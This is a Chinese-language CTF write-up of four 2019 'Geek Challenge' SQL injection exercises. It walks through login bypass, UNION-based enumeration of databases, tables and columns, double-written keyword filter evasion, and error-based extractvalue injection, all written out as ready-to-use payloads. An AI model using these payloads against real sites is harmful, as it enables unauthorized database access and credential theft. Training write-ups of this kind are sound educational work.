目录
极客大挑战 2019]EasySQL
进行简单测试发现有字符型注入漏洞,基本无过滤,直接使用万能密码绕过
[极客大挑战 2019]LoveSQL
先进行简单测试admin' and 1=1#,直接就登录进去了。
就给了一个登陆密码,没有给出flag,flag可能藏在其他表中。
使用admin'order by x确认当前表的字段数为3
使用 admin1'union select 1,2,3#确认回显位为2和3
直接使用联合注入
爆数据库名称 admin1' union select 1,2,database()#
爆表名 admin1' union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema=database())#
看出第二张表有问题
继续爆字段 admin1' union select 1,2,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1')#
最后爆数据 admin1' union select 1,2,(select group_concat(id,'-',username,':',password)from l0ve1ysq1)# 得到flag
[极客大挑战 2019]BabySQL
经过简单测试发现存在过滤,过滤方式为将目标字段替换为空白。
使用SQL字典fuzz一下得到如下字段被过滤。
尝试一下双写绕过 admin' anandd 1=1#
依旧没有给出flag,继续构造联合注入,同第二题一样,只需要把所有过滤的关键字采用双写绕过即可。
[极客大挑战 2019]HardSQL
这道题经过测试也存在过滤,但是过滤的方式与第三题不同,这次是如果检测到黑名单字段,会显示如下界面。
经过测试无法使用双写绕过及大小写绕过。
先使用SQL注入字典fuzz一下,发现如下字段被过滤了
再经过测试 一些未被过滤的字段如果前面或者后面有内容也会被过滤,比如 admin' or 或者1 like 1
可以使用括号来省略空格。
在测试中发现登入无回显,但是语法错误有报错,考虑使用报错注入。
爆数据库名称
admin'or(extractvalue(1,concat(0x7e,database(),0x7e)))#
爆表名
admin'or(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like'geek'),0x7e)))#
爆字段
admin'or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like'H4rDsq1'),0x7e)))#
爆数据
admin'or(extractvalue(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1)),0x7e)))#
发现数据过长无法全部显示,使用right(str,x)
admin'or(extractvalue(1,concat(0x7e,right((select(group_concat(id,username,password))from(H4rDsq1)),25),0x7e)))#
得到完整的flag